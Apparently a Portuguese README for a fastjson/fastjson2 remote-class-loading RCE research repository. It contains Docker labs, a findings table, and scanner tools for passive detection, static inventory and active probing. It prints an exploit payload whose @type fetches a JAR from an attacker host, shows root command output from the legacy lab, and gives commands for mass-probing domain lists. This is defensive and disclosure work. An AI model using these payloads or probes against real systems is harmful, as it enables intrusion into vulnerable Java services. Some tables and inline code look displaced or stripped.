Laboratórios Docker + scanner defensivo para RCE de carregamento remoto de classe fastjson. fastjson 1.2.66-1.2.83: sonda de recurso @JSONType (CVE-2026-16723). fastjson2 2.0.57: @type do atacante alcança loadClass com autoType DESATIVADO via tipos polimórficos (@JSONType(seeAlso) / Jackson @JsonSubTypes). Payloads somente com marcador; controles safeMode + JDK17.
@JSONType e detecçãoEste repositório agora preserva duas linhas de pesquisa distintas sobre Fastjson:
modern-fd/ é a reconstrução somente-marcador recomendada da
cadeia remote-JAR/descritor de arquivo de corpo único do Fastjson 1.2.83 em Spring
Boot 3, Tomcat embarcado normal e JDK 17. Ela usa o sumidouro literal de DTO fixo
JSON.parseObject(body, BoundEnvelope.class) com AutoType desabilitado.scanner/ contém detecção passiva de requisições/logs, inventário estático
de artefatos e uma sonda de alcance não executável.O bug:
ParserConfig.checkAutoTypetesta cada valor de em busca da anotação fazendo . Em combinações modernas de Linux/JDK, uma sonda remota pode deixar o JAR em cache atrás de um descritor aberto; sondas posteriores no mesmo corpo podem reabri-lo sob nomes de classe válidos e inicializar uma classe anotada. A composição exata 1.2.83 funciona com e por meio de um DTO fixo contendo . A vinculação (binding) sozinha, portanto, não é uma mitigação. Passo a passo completo: .
@type@JSONTypegetResourceAsStream(typeName.replace('.','/') + ".class")jar:httpjar:file:/proc/self/fd/NList<Object>A revisão complementar de todo o projeto abrangeu 2,041 linhas de métodos chamáveis/inicializadores estáticos em todos os 193 arquivos Java de produção do Fastjson 1.2.83. A tabela abaixo prioriza os resultados de maior impacto; não é uma afirmação de que toda implantação do Fastjson seja afetada. Este repositório reproduz diretamente F105. As demais entradas resumem revisão de código-fonte lacrada separadamente e evidência limitada de laboratório.
| Prioridade | Achado | Resultado comprovado | Limite importante |
|---|---|---|---|
| 1 | F105 — execução remota de bytecode via @JSONType | Inicialização de classe fornecida pelo atacante por meio de classloaders Spring Boot compatíveis, incluindo a rota direta do JDK 8 e a continuação do JAR retido /proc/self/fd/N no Linux/JDK 17 | Exige um portador @type alcançável pelo parser, classloader Boot/TCCL compatível, saída de rede, SafeMode/IgnoreAutoType desativados e um JAR exato do atacante. A rota moderna de DTO fixo adicionalmente precisa de um canal de valor genérico (o laboratório usa List<Object>), procfs Linux, um descritor retido e alinhamento exato de nomes; não é universal em todos os JDKs, classloaders ou SOs |
| 2 | F1/F45 — execução de comando via TemplatesImpl | Execução de comando marcadora através da API de DTO fixo, incluindo uma propriedade ignorada do corpo da requisição | Exige política de servidor enfraquecida: admissão de classes, AutoType e preenchimento de campos privados ou caminhos equivalentes; as configurações padrão intactas bloqueiam |
| 3 | F70/C016 — buffering sem limites e expansão GZIP | Caminhos de byte/InputStream tipado e DTO anotado expandem ou fazem buffer sem limite de saída; OOME em Java com heap restrito foi reproduzido | São necessários alcance ao endpoint/esquema e a bytes controlados pelo atacante; indisponibilidade em toda a produção não foi estabelecida |
| 4 | F18/C089 — esgotamento de pilha do thread do parser | Valores comuns de objeto profundamente aninhados podem produzir StackOverflowError no parsing padrão | Impacto na disponibilidade do thread da requisição; não é uma quebra invariável da JVM ou do serviço inteiro |
| 5 | F120/C162 — SSRF HTTP de esquema fixo/carregamento de recurso local | JEditorPane/JTextPane.page controlados pelo corpo da requisição realizam requisições HTTP e podem carregar conteúdo file: limitado no estado do Document | Exige que a aplicação declare o tipo Swing; nenhum roubo automático de resposta ou RCE foi comprovado |
| 6 | F118/C160 — falha de autorização/integridade de dados por colisão de hash | Uma colisão distinta de FNV-1a-64 em Unicode pode se ligar a uma constante de enumeração privilegiada ou direcionar mutação JSONPath para o setter errado do bean |
Consulte findings/FINDINGS.md para rótulos de validação,
pré-requisitos, achados de nível inferior, prioridades de remediação e limites
negativos explícitos.
Este repositório é para educação, pesquisa defensiva e testes autorizados de sistemas
que você possui ou para os quais tem permissão explícita de testar. A publicação em host,
quando suportada para a rede interna do laboratório moderno, deve ser feita apenas em
127.0.0.1; os scripts conduzem o teste inteiramente dentro dessa rede isolada.
O laboratório moderno não possui primitiva de execução de processos e define apenas um
marcador fixo dentro da JVM.
O laboratório legado com JDK 8 executa id e grava sua saída em /tmp/PWNED; mantenha-o
isolado. Não aponte o exploit legado ou a sonda ativa para sistemas não autorizados.
O diretório scanner/ fornece quatro ferramentas Python 3 sem dependências (sem
instalações via pip).
fjdetect.py — inspeciona passivamente corpos de requisição JSON decodificados ou logs
JSON estruturados em busca de sementes remote-JAR e sequências /proc/self/fd ou /dev/fd.fjscan_static.py — inventaria jars/wars/ears para a combinação vulnerável
(1.2.83 com verificação de conteúdo e metadados × conteúdo real das classes do Spring Boot
loader). Versões 1.2.48–1.2.82 com sondas e candidatos apenas por metadados/nome de arquivo
são relatados separadamente para revisão. Compatível com gate de CI (código de saída 2 em EXPOSED).fjscan_probe.py — verificação ativa e segura de alcance: dispara o @type contra um canário
que você controla (listener embutido ou Burp Collaborator / interactsh) e correlaciona o
callback de busca de recurso. Seu listener embutido retorna um 404 vazio; configure
listeners externos de forma equivalente. Um callback não prova carregamento de classe ou RCE.fjpayload.py — gera corpos de busca de recurso remoto para testes manuais;
use apenas um listener vazio/404 quando a execução não for pretendida.# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl
# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16
# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
# DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -
# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt
domains.txt = um alvo por linha — uma URL completa [METHOD ]URL ou um domínio simples
(expandido com --scheme / --target-port / --path); comentários # são permitidos:
api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080
fjscan_probe.py (sonda ativa)
| Flag | Padrão | Finalidade |
|---|---|---|
--auto | off | mais simples — por alvo, envia sonda DNS de comparação baseline + simples + com escape Unicode e imprime um resumo; basta --collaborator + --targets |
--canary-ip <ip> | — | modo listener embutido; IP deste host como os alvos o veem |
--collaborator <v> | — | OOB externo (IPv4 / int / host sem pontos / subdomínio Collaborator) |
--probe-type <t> | jsontype | modo manual: jsontype = caminho de busca de recurso remoto (jar:http IP-int); dns = OOB Inet4Address via host pontuado (compatível com Collaborator); both |
--targets <file|-> | — | lista de alvos não vazia; - lê da stdin (obrigatório); entrada vazia/somente comentários sai com código diferente de zero |
--threads N | 20 | workers concorrentes de requisição |
--header 'K: V' | — | cabeçalho de requisição extra (repetível); um --user-agent semelhante ao de navegador é enviado por padrão para uma requisição de front-end representativa |
--baseline '{"a":1}' | — | também envia um corpo de controle benigno por alvo; um diferencial de resposta baseline/sonda é consistente com tratamento sensível a conteúdo em edge, middleware ou aplicação e precisa de corroboração |
--max-redirects N | 3 | segue até N redirecionamentos de mesma origem exata ou upgrades padrão de HTTP:80→HTTPS:443 no mesmo host (0 = nenhum); downgrade HTTPS, mudanças arbitrárias de porta/origem e redirecionamentos entre hosts são bloqueados; upgrades mantêm apenas cabeçalhos base não secretos |
--evasion {ukey,uval,both} | none | aplica escape \uXXXX na chave @type / valor da classe (fastjson ainda decodifica); um callback somente por evasão é consistente com dados de sonda decodificados passando por um filtro literal de palavras-chave, mas ainda exige corroboração de parser/versão |
fjscan_static.py (inventário): <paths…> · --threads N (padrão 8) · --json
(saída para máquina; código de saída 2 se houver qualquer EXPOSED).
fjpayload.py (gerador): <collaborator> · --targets-file/-f <file\|-> (em lote) ·
--port · --token · --wrap · --entry.
Nota sobre Collaborator: o sumidouro
jar:do@JSONTypefaztypeName.replace('.','/'), portanto cada ponto no host se torna uma barra — um subdomínio Burp Collaborator pontuado (abc.oastify.com) não pode ser entregue por ele (as ferramentas recorrem a um IP inteiro + token no caminho da URL). Para obter um callback em um Collaborator público, use--probe-type dns: a primitivajava.net.Inet4Addressaceita um host pontuado e dispara uma interação DNS (<tok>.<sub>.oastify.com), confirmando a primitiva de parsingInet4Address+ saída de rede. Isso é evidência de pré-requisito, não prova do terminal remote-JAR/FD. Consultescanner/README.md.
Requisitos: Docker + Docker Compose e acesso de saída ao Maven Central no primeiro build (para buscar fastjson / spring-boot-loader / asm).
cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh
O caso positivo envia um corpo para um thread de requisição normal do Tomcat embarcado. Seu
sumidouro literal é final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class). O sucesso é somente a propriedade fixa e o token de log
FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1; a resposta ainda
retorna um BoundEnvelope normalmente vinculado. O diretório de evidências contém a
requisição, resposta, metadados do contêiner, logs e manifesto SHA-256.
Os controles cobrem JSON comum, candidatos a FD sem semente, uma semente seguida de
descritores impossíveis e SafeMode. Consulte modern-fd/README.md.
A divulgação FearsOff mostra o mesmo terminal de JAR retido em JDK 21 usando um cache persistente no processo e um candidato a FD por requisição. O laboratório moderno deste repositório, em vez disso, reproduz uma composição de corpo único em JDK 17: a semente de falha suave e os candidatos a FD limitados são transportados por uma única requisição de DTO fixo. O JDK 21 permanece relatado externamente; não é um resultado de execução produzido aqui.
O projeto Compose original de nível superior continua disponível para reproduzir a
rota antiga de um estágio. Diferente de modern-fd/, ele é capaz de executar comandos e deve ser
executado apenas no laboratório isolado:
make up
make exploit
make down
Saída esperada de make exploit:
[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"} <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------
A ClassCastException é o sinal de que a vinculação não é uma mitigação: a classe do atacante
executa seu <clinit> durante a sonda do @type, antes de o fastjson tentar convertê-la para Dto.
target/Dockerfile para JDK 17 bloqueia essa
definição legada de nome forjado e deixa apenas um fetch. Esse resultado não testa
nem mitiga a continuação separada /proc/self/fd em modern-fd/.setAutoTypeSupport(true) — verifique o
banner em http://127.0.0.1:8080/.PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker.| Caminho | O quê |
|---|---|
modern-fd/ | laboratório de cadeia FD/DTO fixo somente-marcador para Boot 3/JDK 17 e controles decisivos |
scanner/ | detecção passiva de payload/log, inventário estático e ferramentas de alcance não executáveis |
target/ | alvo legado JDK 8 usando JSON.parseObject(body, Dto.class) sob um Boot loader selecionado manualmente |
attacker/ | gerador de classes legado com capacidade de comandos para JDK 8 e servidor JAR |
exploit/ | prova legada exploit.sh |
docs/MECHANISM.md | passo a passo anotado do código-fonte |
findings/FINDINGS.md | achados priorizados do projeto, pré-requisitos e limites de remediação |
Ative -Dfastjson.parser.safeMode=true no caminho comum sem handlers ou
use a compilação com.alibaba:fastjson:1.2.83_noneautotype do fornecedor quando a migração
imediata não for possível, e audite os AutoTypeCheckHandlers instalados. Restrinja o
tráfego de saída da JVM; migre o parsing de dados não confiáveis para longe do Fastjson 1.x; alerte sobre
sementes remote-JAR de @type decodificadas e candidatos /proc/self/fd ou /dev/fd tanto dentro de
uma mesma requisição quanto correlacionados entre requisições. A vinculação de DTO e o JDK 9+ não são
mitigações completas para a composição moderna.
fastjson2/ é um segundo laboratório independente. O fastjson2 não contém a
sonda de recurso @JSONType do fastjson 1.x. Ele, no entanto, permite que um @type controlado pelo atacante
alcance ClassLoader.loadClass() com autoType desabilitado, sempre que o caminho de parsing envolva um
tipo polimórfico — porque o construtor de ObjectReaderSeeAlso endurece (hardcode) SupportAutoType, e um
erro de seeAlso cai em resolução completa de autoType antes que as verificações de atribuibilidade e
DataSource/RowSet sejam executadas.
Os gatilhos são anotações de modelagem comuns — @JSONType(seeAlso=), Jackson
@JsonSubTypes (respeitadas porque useJacksonAnnotation tem valor padrão true), @JsonTypeInfo,
tipos selados. Em um fat jar do Spring Boot, o classloader de contexto resolve nomes jar:http:, então
a classe é buscada na rede e seu inicializador estático é executado.
Reproduzido em fastjson2 2.0.62 (última versão) e 2.0.57, no JDK 8. safeMode=true
bloqueia; JDK 17 reduz para SSRF; autoTypeFilter(...) não protege. Divulgado por Chaitin (长亭), ~2026-07-25 — não é um achado deste repositório. O mantenedor
tem trabalho de endurecimento aberto em
PR #7703 (substituindo a
#7695, que foi fechada), rejeitando : e ! em nomes
de tipo; nenhuma versão publicada o contém — 2.0.62 é anterior a ambas.
make fj2-safety # prove the payload is marker-only
make fj2-positive # default config -> remote class defined + initialised
make fj2-controls # plain parse / safeMode / JDK 17 / Jackson-only model / allowlist
/proc/self/fd moderno reconstruídos aqui.@JSONType / nome interno de URL jar:
@wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC.
attacker/Gen.java reimplementa essa técnica para este laboratório./proc/self/fd. Eles foram tratados como relatos externos,
não como prova independente de execução.modern-fd/ usa classes independentes
somente-marcador e um endpoint Tomcat normal de DTO fixo.fastjson2/ é uma
reprodução independente dessa divulgação, não um achado original deste repositório.
Tópico de acompanhamento: issue #7702 (aberta por um
usuário, sevck); endurecimento do mantenedor em
PR #7703 / fechada
#7695.safeMode e o histórico de autoType
por trás de CVE-2022-25845).Este laboratório e as ferramentas do scanner/ empacotam esses achados em um ambiente de testes reproduzível e
verificações defensivas. Não afiliado nem endossado pelos pesquisadores acima.
| Exige uma colisão utilizável e confiança a jusante ou uma operação exposta de mutação JSONPath; nenhuma admissão de classe ou RCE |
| 7 | F121/C163 — alcance JNDI fixo do JdbcRowSet | A ordem exata dos setters causou uma conexão JNDI/LDAP de saída selecionada pelo corpo | A evidência para em uma conexão: sem resposta de naming, object factory, carregamento de bytecode ou RCE |
| 8 | F2/F45 — resolução DNS padrão | A resolução de hostname controlada pelo atacante funciona na configuração padrão e por meio de uma propriedade ignorada do DTO fixo | Apenas interação DNS/OOB, não SSRF HTTP genérico ou RCE |
--scheme / --target-port / --path | http / — / /parse | como domínios simples são expandidos |
--method | POST | método HTTP padrão |
--wrap '{"u":{{P}}}' | {{P}} | aninha o objeto de sonda dentro de um campo |
--listen-port / --port | 19000 / 80 | porta do canário embutido / porta do collaborator |
--wait / --timeout | 10 / 8 | segundos para aguardar callbacks / timeout por requisição |